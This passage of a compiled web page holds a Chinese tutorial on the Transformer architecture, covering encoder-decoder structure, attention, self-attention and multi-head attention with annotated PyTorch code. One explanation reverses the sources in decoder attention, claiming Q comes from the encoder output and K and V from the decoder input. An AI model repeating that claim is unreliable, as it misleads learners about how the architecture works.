Encoder-Decoder\uff08\u7f16\u7801\u5668-\u89e3\u7801\u5668\uff09\u7ed3\u6784\uff0c\u6574\u4f53\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_architecture.png",alt:"image-20230127193646262",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tTransformer \u7531\u4e00\u4e2a Encoder\uff0c\u4e00\u4e2a Decoder \u5916\u52a0\u4e00\u4e2a Softmax \u5206\u7c7b\u5668\u4e0e\u4e24\u5c42\u7f16\u7801\u5c42\u6784\u6210\u3002\u4e0a\u56fe\u4e2d\u5de6\u4fa7\u65b9\u6846\u4e3a Encoder\uff0c\u53f3\u4fa7\u65b9\u6846\u4e3a Decoder\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u7531\u4e8e\u662f\u4e00\u4e2a Seq2Seq \u4efb\u52a1\uff0c\u5728\u8bad\u7ec3\u65f6\uff0cTransformer \u7684\u8bad\u7ec3\u8bed\u6599\u4e3a\u82e5\u5e72\u4e2a\u53e5\u5bf9\uff0c\u5177\u4f53\u5b50\u4efb\u52a1\u53ef\u4ee5\u662f\u673a\u5668\u7ffb\u8bd1\u3001\u9605\u8bfb\u7406\u89e3\u3001\u673a\u5668\u5bf9\u8bdd\u7b49\u3002\u5728\u539f\u8bba\u6587\u4e2d\u662f\u8bad\u7ec3\u4e86\u4e00\u4e2a\u82f1\u8bed\u4e0e\u5fb7\u8bed\u7684\u673a\u5668\u7ffb\u8bd1\u4efb\u52a1\u3002\u5728\u8bad\u7ec3\u65f6\uff0c\u53e5\u5bf9\u4f1a\u88ab\u5212\u5206\u4e3a\u8f93\u5165\u8bed\u6599\u548c\u8f93\u51fa\u8bed\u6599\uff0c\u8f93\u5165\u8bed\u6599\u5c06\u4ece\u5de6\u4fa7\u901a\u8fc7\u7f16\u7801\u5c42\u8fdb\u5165 Encoder\uff0c\u8f93\u51fa\u8bed\u6599\u5c06\u4ece\u53f3\u4fa7\u901a\u8fc7\u7f16\u7801\u5c42\u8fdb\u5165 Decoder\u3002Encoder \u7684\u4e3b\u8981\u4efb\u52a1\u662f\u5bf9\u8f93\u5165\u8bed\u6599\u8fdb\u884c\u7f16\u7801\u518d\u8f93\u51fa\u7ed9 Decoder\uff0cDecoder \u518d\u6839\u636e\u8f93\u51fa\u8bed\u6599\u7684\u5386\u53f2\u4fe1\u606f\u4e0e Encoder \u7684\u8f93\u51fa\u8fdb\u884c\u8ba1\u7b97\uff0c\u8f93\u51fa\u7ed3\u679c\u518d\u7ecf\u8fc7\u4e00\u4e2a\u7ebf\u6027\u5c42\u548c Softmax \u5206\u7c7b\u5668\u5373\u53ef\u8f93\u51fa\u9884\u6d4b\u7684\u7ed3\u679c\u6982\u7387\uff0c\u6574\u4f53\u903b\u8f91\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_datalink.png",alt:"image-20230127193646262",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u6a21\u578b\u6574\u4f53\u5b9e\u73b0\u4e3a\u4e00\u4e2a Encoder-Decoder\u67b6\u6784\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderDecoder(nn.Module):\n """\n A standard Encoder-Decoder architecture. Base for this and many\n other models.\n """\n\n def __init__(self, encoder, decoder, src_embed, tgt_embed, generator):\n super(EncoderDecoder, self).__init__()\n self.encoder = encoder\n # \u7f16\u7801\u5668\n self.decoder = decoder\n # \u89e3\u7801\u5668\n self.src_embed = src_embed\n # \u8f93\u5165\u8bed\u6599\u7684\u7f16\u7801\u51fd\u6570\n self.tgt_embed = tgt_embed\n # \u8f93\u51fa\u8bed\u6599\u7684\u7f16\u7801\u51fd\u6570\n self.generator = generator\n # \u7ebf\u6027\u5c42+softmax\u5206\u7c7b\u5c42\uff0c\u8f93\u51fa\u5206\u7c7b\u6982\u7387\uff0c\u5373\u67b6\u6784\u56fe\u4e2d\u7684\u6700\u9ad8\u5c42\n\n def forward(self, src, tgt, src_mask, tgt_mask):\n # \u524d\u5411\u8ba1\u7b97\u51fd\u6570\n "Take in and process masked src and target sequences."\n return self.decode(self.encode(src, src_mask), src_mask, tgt, tgt_mask)\n\n def encode(self, src, src_mask):\n # src \u4e3a\u8f93\u5165\u8bed\u6599\n # src_mask \u4e3a\u8f93\u5165\u8bed\u6599\u7684\u906e\u853d\u7b26\u53f7\n return self.encoder(self.src_embed(src), src_mask)\n # \u5148\u7f16\u7801\u8f93\u5165\u8bed\u6599\uff0c\u518d\u548c\u906e\u853d\u7b26\u53f7\u4e00\u8d77\u4f20\u5165\u7f16\u7801\u5668\u4e2d\n\n def decode(self, memory, src_mask, tgt, tgt_mask):\n return self.decoder(self.tgt_embed(tgt), memory, src_mask, tgt_mask)\n # \u89e3\u7801\u51fd\u6570\u7c7b\u4f3c\u7f16\u7801\u51fd\u6570,memory\u4e3a\u8bb0\u5fc6\uff0c\u5176\u5b9e\u5c31\u662f\u7f16\u7801\u5668\u7684\u8f93\u51fa\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u5728\u8be5\u4ee3\u7801\u4e2d\u5b9e\u73b0\u7684\u524d\u5411\u8ba1\u7b97\u51fd\u6570\u5373\u5148\u901a\u8fc7 Encoder \u7f16\u7801\uff0c\u518d\u8f93\u51fa\u7ed9 Decoder \u89e3\u7801\u3002\u6700\u7ec8\u7684\u7ebf\u6027\u5206\u7c7b\u5e76\u672a\u5728\u8be5\u7c7b\u4e2d\u5b9e\u73b0\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u63a5\u4e0b\u6765\u5c06\u9010\u4e2a\u4ecb\u7ecd Transformer \u7684\u5b9e\u73b0\u7ec6\u8282\u548c\u539f\u7406\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"attention",children:"Attention"}),"\n",(0,s.jsxs)(e.p,{children:["\u200bAttention \u673a\u5236\u662f Transformer \u7684\u6838\u5fc3\u4e4b\u4e00\uff0c\u8981\u8be6\u7ec6\u4ecb\u7ecdAttention \u673a\u5236\u7684\u601d\u60f3\u4e0e\u64cd\u4f5c\u9700\u8981\u8f83\u591a\u7684\u7bc7\u5e45\u4e0e\u7b14\u58a8\uff0c\u6b64\u5904\u6211\u4eec\u4ec5\u7b80\u8981\u6982\u8ff0 attention \u673a\u5236\u7684\u601d\u60f3\u548c\u5927\u81f4\u8ba1\u7b97\u65b9\u6cd5\uff0c\u66f4\u591a\u7ec6\u8282\u8bf7\u5927\u5bb6\u5177\u4f53\u67e5\u9605\u76f8\u5173\u8d44\u6599\uff0c\u4f8b\u5982\uff1a",(0,s.jsx)(e.a,{href:"https://towardsdatascience.com/attaining-attention-in-deep-learning-a712f93bdb1e",children:"Understanding Attention In Deep Learning (NLP)"}),"\u3001",(0,s.jsx)(e.a,{href:"https://lilianweng.github.io/posts/2018-06-24-attention/",children:"Attention? Attention!"}),"\u7b49\u3002\u5728\u4e0b\u6587\u4e2d\uff0c\u6211\u4eec\u5c06\u4ece\u4f55\u4e3aAttention\u3001self-attention \u548c Multi-Head attention \u4e09\u4e2a\u65b9\u9762\u9010\u6b65\u4ecb\u7ecd Transformer \u4e2d\u4f7f\u7528\u7684Attention \u673a\u5236\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4f55\u4e3a-attention",children:"\u4f55\u4e3a Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u6700\u5148\u6e90\u4e8e\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\uff0c\u5176\u6838\u5fc3\u601d\u60f3\u4e3a\u5f53\u6211\u4eec\u5173\u6ce8\u4e00\u5f20\u56fe\u7247\uff0c\u6211\u4eec\u5f80\u5f80\u65e0\u9700\u770b\u6e05\u695a\u5168\u90e8\u5185\u5bb9\u800c\u4ec5\u5c06\u6ce8\u610f\u529b\u96c6\u4e2d\u5728\u91cd\u70b9\u90e8\u5206\u5373\u53ef\u3002\u800c\u5728\u81ea\u7136\u8bed\u8a00\u5904\u7406\u9886\u57df\uff0c\u6211\u4eec\u5f80\u5f80\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5c06\u91cd\u70b9\u6ce8\u610f\u529b\u96c6\u4e2d\u5728\u4e00\u4e2a\u6216\u51e0\u4e2a token\uff0c\u4ece\u800c\u53d6\u5f97\u66f4\u9ad8\u6548\u9ad8\u8d28\u7684\u8ba1\u7b97\u6548\u679c\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200bAttention \u673a\u5236\u7684\u7279\u70b9\u662f\u901a\u8fc7\u8ba1\u7b97 ",(0,s.jsx)(e.strong,{children:"Query"})," (\u67e5\u8be2\u503c)\u4e0e",(0,s.jsx)(e.strong,{children:"Key"}),"(\u952e\u503c)\u7684\u76f8\u5173\u6027\u4e3a\u771f\u503c\u52a0\u6743\u6c42\u548c\uff0c\u4ece\u800c\u62df\u5408\u5e8f\u5217\u4e2d\u6bcf\u4e2a\u8bcd\u540c\u5176\u4ed6\u8bcd\u7684\u76f8\u5173\u5173\u7cfb\u3002\u5176\u5927\u81f4\u8ba1\u7b97\u8fc7\u7a0b\u4e3a\uff1a"]}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u901a\u8fc7\u8f93\u5165\u4e0e\u53c2\u6570\u77e9\u9635\uff0c\u5f97\u5230\u67e5\u8be2\u503c$q$\uff0c\u952e\u503c$k$\uff0c\u771f\u503c$v$\u3002\u53ef\u4ee5\u7406\u89e3\u4e3a\uff0c$q$ \u662f\u8ba1\u7b97\u6ce8\u610f\u529b\u7684\u53e6\u4e00\u4e2a\u53e5\u5b50\uff08\u6216\u8bcd\u7ec4\uff09\uff0c$v$ \u4e3a\u5f85\u8ba1\u7b97\u53e5\u5b50\uff0c$k$ \u4e3a\u5f85\u8ba1\u7b97\u53e5\u5b50\u4e2d\u6bcf\u4e2a\u8bcd\uff08\u5373 $v$ \u7684\u6bcf\u4e2a\u8bcd\uff09\u7684\u5bf9\u5e94\u952e\u3002\u5176\u4e2d\uff0c$v$ \u4e0e $k$ \u7684\u77e9\u9635\u7ef4\u5ea6\u662f\u76f8\u540c\u7684\uff0c$q$\u7684\u77e9\u9635\u7ef4\u5ea6\u5219\u53ef\u4ee5\u4e0d\u540c\uff0c\u53ea\u9700\u8981\u6ee1\u8db3 $q$ \u80fd\u548c$k^T$\u6ee1\u8db3\u77e9\u9635\u76f8\u4e58\u7684\u6761\u4ef6\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5bf9 $q$ \u7684\u6bcf\u4e2a\u5143\u7d20 $q_i$ ,\u5bf9 $q_i$ \u4e0e $k$ \u505a\u70b9\u79ef\u5e76\u8fdb\u884c softmax\uff0c\u5f97\u5230\u4e00\u7ec4\u5411\u91cf\uff0c\u8be5\u5411\u91cf\u63ed\u793a\u4e86 $q_i$ \u5bf9\u6574\u4e2a\u53e5\u5b50\u6bcf\u4e00\u4e2a\u4f4d\u7f6e\u7684\u6ce8\u610f\u529b\u5927\u5c0f\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u4ee5\u4e0a\u4e00\u6b65\u8f93\u51fa\u5411\u91cf\u4f5c\u4e3a\u6743\u91cd\uff0c\u5bf9 $v$ \u8fdb\u884c\u52a0\u6743\u6c42\u548c\uff0c\u5c06 $q$ \u7684\u6240\u6709\u5143\u7d20\u5f97\u5230\u7684\u52a0\u6743\u6c42\u548c\u7ed3\u679c\u62fc\u63a5\u5f97\u5230\u6700\u540e\u8f93\u51fa\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5176\u4e2d\uff0cq\uff0ck\uff0cv \u5206\u522b\u662f\u7531\u8f93\u5165\u4e0e\u4e09\u4e2a\u53c2\u6570\u77e9\u9635\u505a\u79ef\u5f97\u5230\u7684\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention_compute.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u5b9e\u9645\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u4e3a\u63d0\u9ad8\u5e76\u884c\u8ba1\u7b97\u901f\u5ea6\uff0c\u76f4\u63a5\u4f7f\u7528 $q$\u3001$k$\u3001$v$ \u62fc\u63a5\u800c\u6210\u7684\u77e9\u9635\u8fdb\u884c\u4e00\u6b21\u8ba1\u7b97\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5177\u4f53\u5230 Transformer \u6a21\u578b\u4e2d\uff0c\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$$\nAttention(Q,K,V) = softmax(\\frac{QK^T}{\\sqrt{d_k}})V\n$$\n\u200b\u5176\u4e2d\uff0c$d_k$ \u4e3a\u952e\u5411\u91cf$k$\u7684\u7ef4\u5ea6\uff0c\u9664\u4ee5\u6839\u53f7$d_k$\u4e3b\u8981\u4f5c\u7528\u662f\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u83b7\u5f97\u4e00\u4e2a\u7a33\u5b9a\u7684\u68af\u5ea6\u3002\u8ba1\u7b97\u793a\u4f8b\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention_compute_2.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tAttention \u673a\u5236\u7684\u57fa\u672c\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def attention(query, key, value, mask=None, dropout=None):\n \"Compute 'Scaled Dot Product Attention'\"\n d_k = query.size(-1) # \u83b7\u53d6\u952e\u5411\u91cf\u7684\u7ef4\u5ea6\uff0c\u952e\u5411\u91cf\u7684\u7ef4\u5ea6\u548c\u503c\u5411\u91cf\u7684\u7ef4\u5ea6\u76f8\u540c\uff0c\u5373\u7ecf\u8fc7\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u8f93\u51fa\u7ef4\u5ea6\n scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_k)\n # \u8ba1\u7b97Q\u4e0eK\u7684\u5185\u79ef\u5e76\u9664\u4ee5\u6839\u53f7dk\n # transpose \u5373\u5bf9 K \u8fdb\u884c\u4e86\u8f6c\u7f6e\uff0c\u4f7f\u7528-2\u548c-1\u662f\u56e0\u4e3a\u5728\u540e\u7eed\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\u8f93\u5165\u5411\u91cf\u4f1a\u8fbe\u5230\u56db\u7ef4\uff0c\u8ba1\u7b97\u540e\u4e24\u4e2a\u7ef4\u5ea6\u5373\u53ef\n if mask is not None:\n scores = scores.masked_fill(mask == 0, -1e9)\n # masker_fill\u4e3a\u906e\u853d\uff0c\u5373\u57fa\u4e8e\u4e00\u4e2a\u5e03\u5c14\u503c\u7684\u53c2\u6570\u77e9\u9635\u5bf9\u77e9\u9635\u8fdb\u884c\u906e\u853d\n # \u6b64\u5904\u540c\u4e0a\u9762\u7684subsequent_mask\u51fd\u6570\u7ed3\u5408\uff0c\u6b64\u5904\u7684mask\u5373\u4e3a\u8be5\u51fd\u6570\u7684\u8f93\u51fa\n p_attn = scores.softmax(dim=-1)\n if dropout is not None:\n p_attn = dropout(p_attn)\n # \u91c7\u6837\n # \u6ce8\u610f\u6700\u540e\u8ba1\u7b97\u52a0\u6743\u503c\u662f\u4e0d\u9700\u8981\u8f6c\u7f6e\u7684\uff0c\u4e0a\u8ff0\u8ba1\u7b97\u8fd4\u56de\u7684\u7ef4\u5ea6\u4e3a length*length\uff0c\u503c\u53c2\u6570\u4e3alength*dk\uff0c\u76f4\u63a5\u5185\u79ef\u5373\u53ef\n return torch.matmul(p_attn, value), p_attn\n # \u6839\u636e\u8ba1\u7b97\u7ed3\u679c\u5bf9value\u8fdb\u884c\u52a0\u6743\u6c42\u548c\n"})}),"\n",(0,s.jsx)(e.h3,{id:"self-attention",children:"Self-Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4ece\u4e0a\u5bf9 Attention \u673a\u5236\u539f\u7406\u7684\u53d9\u8ff0\u4e2d\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0cAttention \u673a\u5236\u7684\u672c\u8d28\u662f\u5bf9\u4e24\u6bb5\u5e8f\u5217\u7684\u5143\u7d20\u4f9d\u6b21\u8fdb\u884c\u76f8\u4f3c\u5ea6\u8ba1\u7b97\uff0c\u5bfb\u627e\u51fa\u4e00\u4e2a\u5e8f\u5217\u7684\u6bcf\u4e2a\u5143\u7d20\u5bf9\u53e6\u4e00\u4e2a\u5e8f\u5217\u7684\u6bcf\u4e2a\u5143\u7d20\u7684\u76f8\u5173\u5ea6\uff0c\u7136\u540e\u57fa\u4e8e\u76f8\u5173\u5ea6\u8fdb\u884c\u52a0\u6743\uff0c\u5373\u5206\u914d\u6ce8\u610f\u529b\u3002\u800c\u8fd9\u4e24\u6bb5\u5e8f\u5217\u5373\u662f\u6211\u4eec\u8ba1\u7b97\u8fc7\u7a0b\u4e2d $Q$\u3001$K$\u3001$V$ \u7684\u6765\u6e90\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u7ecf\u5178\u7684 Attention \u673a\u5236\u4e2d\uff0c$Q$ \u5f80\u5f80\u6765\u81ea\u4e8e\u4e00\u4e2a\u5e8f\u5217\uff0c$K$ \u4e0e $V$ \u6765\u81ea\u4e8e\u53e6\u4e00\u4e2a\u5e8f\u5217\uff0c\u90fd\u901a\u8fc7\u53c2\u6570\u77e9\u9635\u8ba1\u7b97\u5f97\u5230\uff0c\u4ece\u800c\u53ef\u4ee5\u62df\u5408\u8fd9\u4e24\u4e2a\u5e8f\u5217\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u4f8b\u5982\u5728 Transformer \u7684 Decoder \u7ed3\u6784\u4e2d\uff0c$Q$ \u6765\u81ea\u4e8e Encoder \u7684\u8f93\u51fa\uff0c$K$ \u4e0e $V$ \u6765\u81ea\u4e8e Decoder \u7684\u8f93\u5165\uff0c\u4ece\u800c\u62df\u5408\u4e86\u7f16\u7801\u4fe1\u606f\u4e0e\u5386\u53f2\u4fe1\u606f\u4e4b\u95f4\u7684\u5173\u7cfb\uff0c\u4fbf\u4e8e\u7efc\u5408\u8fd9\u4e24\u79cd\u4fe1\u606f\u5b9e\u73b0\u672a\u6765\u7684\u9884\u6d4b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f46\u5728 Transformer \u7684 Encoder \u7ed3\u6784\u4e2d\uff0c\u4f7f\u7528\u7684\u662f Attention \u673a\u5236\u7684\u53d8\u79cd\u2014\u2014 self-attention \uff08\u81ea\u6ce8\u610f\u529b\uff09\u673a\u5236\u3002\u6240\u8c13\u81ea\u6ce8\u610f\u529b\uff0c\u5373\u662f\u8ba1\u7b97\u672c\u8eab\u5e8f\u5217\u4e2d\u6bcf\u4e2a\u5143\u7d20\u90fd\u5176\u4ed6\u5143\u7d20\u7684\u6ce8\u610f\u529b\u5206\u5e03\uff0c\u5373\u5728\u8ba1\u7b97\u8fc7\u7a0b\u4e2d\uff0c$Q$\u3001$K$\u3001$V$ \u90fd\u7531\u540c\u4e00\u4e2a\u8f93\u5165\u901a\u8fc7\u4e0d\u540c\u7684\u53c2\u6570\u77e9\u9635\u8ba1\u7b97\u5f97\u5230\u3002\u5728 Encoder \u4e2d\uff0c$Q$\u3001$K$\u3001$V$ \u5206\u522b\u662f\u8f93\u5165\u5bf9\u53c2\u6570\u77e9\u9635 $W_q$\u3001$W_k$\u3001$W_v$ \u505a\u79ef\u5f97\u5230\uff0c\u4ece\u800c\u62df\u5408\u8f93\u5165\u8bed\u53e5\u4e2d\u6bcf\u4e00\u4e2a token \u5bf9\u5176\u4ed6\u6240\u6709 token \u7684\u5173\u7cfb\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f8b\u5982\uff0c\u901a\u8fc7 Encoder \u4e2d\u7684 self-attention \u5c42\uff0c\u53ef\u4ee5\u62df\u5408\u4e0b\u9762\u8bed\u53e5\u4e2d it \u5bf9\u5176\u4ed6 token \u7684\u6ce8\u610f\u529b\u5206\u5e03\u5982\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_selfattention.jpg",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u4ee3\u7801\u4e2d\u7684\u5b9e\u73b0\uff0cself-attention \u673a\u5236\u5176\u5b9e\u662f\u901a\u8fc7\u7ed9 $Q$\u3001$K$\u3001$V$ \u7684\u8f93\u5165\u4f20\u5165\u540c\u4e00\u4e2a\u53c2\u6570\u5b9e\u73b0\u7684\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n# \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0a\u8ff0\u4ee3\u7801\u662f Encoder \u5c42\u7684\u90e8\u5206\u5b9e\u73b0\uff0cself_attn \u5373\u662f\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u90fd\u662f $x$\uff0c\u5206\u522b\u662f $Q$\u3001$K$\u3001$V$ \u7684\u8ba1\u7b97\u8f93\u5165\uff0c\u4ece\u800c $Q$\u3001$K$\u3001$$ \u5747\u6765\u6e90\u4e8e\u540c\u4e00\u4e2a\u8f93\u5165\uff0c\u5219\u5b9e\u73b0\u4e86\u81ea\u6ce8\u610f\u529b\u7684\u62df\u5408\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"multi-head-attention",children:"Multi-Head Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u53ef\u4ee5\u5b9e\u73b0\u5e76\u884c\u5316\u4e0e\u957f\u671f\u4f9d\u8d56\u5173\u7cfb\u62df\u5408\uff0c\u4f46\u4e00\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\u53ea\u80fd\u62df\u5408\u4e00\u79cd\u76f8\u5173\u5173\u7cfb\uff0c\u5355\u4e00\u7684 Attention \u673a\u5236\u5f88\u96be\u5168\u9762\u62df\u5408\u8bed\u53e5\u5e8f\u5217\u91cc\u7684\u76f8\u5173\u5173\u7cfb\u3002\u56e0\u6b64 Transformer \u4f7f\u7528\u4e86 Multi-Head attention \u673a\u5236\uff0c\u5373\u540c\u65f6\u5bf9\u4e00\u4e2a\u8bed\u6599\u8fdb\u884c\u591a\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u6bcf\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\u90fd\u80fd\u62df\u5408\u4e0d\u540c\u7684\u5173\u7cfb\uff0c\u5c06\u6700\u540e\u7684\u591a\u6b21\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u4f5c\u4e3a\u6700\u540e\u7684\u8f93\u51fa\uff0c\u5373\u53ef\u66f4\u5168\u9762\u6df1\u5165\u5730\u62df\u5408\u8bed\u8a00\u4fe1\u606f\u3002"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Multi-Head attention.png",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u5728\u539f\u8bba\u6587\u4e2d\uff0c\u4f5c\u8005\u4e5f\u901a\u8fc7\u5b9e\u9a8c\u8bc1\u5b9e\uff0c\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\uff0c\u6bcf\u4e2a\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u5934\u80fd\u591f\u62df\u5408\u8bed\u53e5\u4e2d\u7684\u4e0d\u540c\u4fe1\u606f\uff0c\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsxs)(e.div,{align:"center",children:[(0,s.jsx)(e.img,{src:".\\figures\\transformer_Multi-Head visual.jpg",alt:"image-20230207203454545",style:{zoom:"50%"}}),"\t"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0a\u5c42\u4e0e\u4e0b\u5c42\u5206\u522b\u662f\u4e24\u4e2a\u6ce8\u610f\u529b\u5934\u5bf9\u540c\u4e00\u6bb5\u8bed\u53e5\u5e8f\u5217\u8fdb\u884c\u81ea\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u7ed3\u679c\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5bf9\u4e8e\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u5934\uff0c\u80fd\u591f\u62df\u5408\u4e0d\u540c\u5c42\u6b21\u7684\u76f8\u5173\u4fe1\u606f\u3002\u901a\u8fc7\u591a\u4e2a\u6ce8\u610f\u529b\u5934\u540c\u65f6\u8ba1\u7b97\uff0c\u80fd\u591f\u66f4\u5168\u9762\u5730\u62df\u5408\u8bed\u53e5\u5173\u7cfb\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200bMulti-Head attention \u7684\u6574\u4f53\u8ba1\u7b97\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Multi-Head attention_compute.png",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u6240\u8c13\u7684\u591a\u5934\u6ce8\u610f\u529b\u673a\u5236\u5176\u5b9e\u5c31\u662f\u5c06\u539f\u59cb\u7684\u8f93\u5165\u5e8f\u5217\u8fdb\u884c\u591a\u7ec4\u7684\u81ea\u6ce8\u610f\u529b\u5904\u7406\uff1b\u7136\u540e\u518d\u5c06\u6bcf\u4e00\u7ec4\u5f97\u5230\u7684\u81ea\u6ce8\u610f\u529b\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\uff0c\u518d\u901a\u8fc7\u4e00\u4e2a\u7ebf\u6027\u5c42\u8fdb\u884c\u5904\u7406\uff0c\u5f97\u5230\u6700\u7ec8\u7684\u8f93\u51fa\u3002\u6211\u4eec\u7528\u516c\u5f0f\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a\n$$\n\\mathrm{MultiHead}(Q, K, V) = \\mathrm{Concat}(\\mathrm{head_1}, ...,\n\\mathrm{head_h})W^O \\\n\\text{where}~\\mathrm{head_i} = \\mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i)\n$$"}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u6700\u76f4\u89c2\u7684\u4ee3\u7801\u5b9e\u73b0\u5e76\u4e0d\u590d\u6742\uff0c\u5373 n \u4e2a\u5934\u5c31\u6709 n \u7ec43\u4e2a\u53c2\u6570\u77e9\u9635\uff0c\u6bcf\u4e00\u7ec4\u8fdb\u884c\u540c\u6837\u7684\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u4f46\u7531\u4e8e\u662f\u4e0d\u540c\u7684\u53c2\u6570\u77e9\u9635\u4ece\u800c\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u5b9e\u73b0\u4e86\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u7ed3\u679c\uff0c\u7136\u540e\u5c06 n \u4e2a\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u8f93\u51fa\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u4f46\u4e0a\u8ff0\u5b9e\u73b0\u590d\u6742\u5ea6\u8f83\u9ad8\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u77e9\u9635\u8fd0\u7b97\u5de7\u5999\u5730\u5b9e\u73b0\u5e76\u884c\u7684\u591a\u5934\u8ba1\u7b97\uff0c\u6574\u4f53\u8ba1\u7b97\u6d41\u7a0b\u5982\u4e0b\uff08\u6ce8\uff1a\u7531\u4e8e\u6b64\u5904\u4f7f\u7528\u4e86\u77e9\u9635\u8fd0\u7b97\u6765\u5b9e\u73b0\u591a\u5934\u5e76\u884c\uff0c\u5185\u90e8\u903b\u8f91\u76f8\u5bf9\u590d\u6742\uff0c\u8bfb\u8005\u53ef\u4ee5\u914c\u60c5\u9605\u8bfb\uff09\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class MultiHeadedAttention(nn.Module):\n # \u591a\u5934\u6ce8\u610f\u529b\u64cd\u4f5c\n def __init__(self, h, d_model, dropout=0.1):\n "Take in model size and number of heads."\n super(MultiHeadedAttention, self).__init__()\n assert d_model % h == 0\n # \u8fd9\u91cc\u7684 d_model 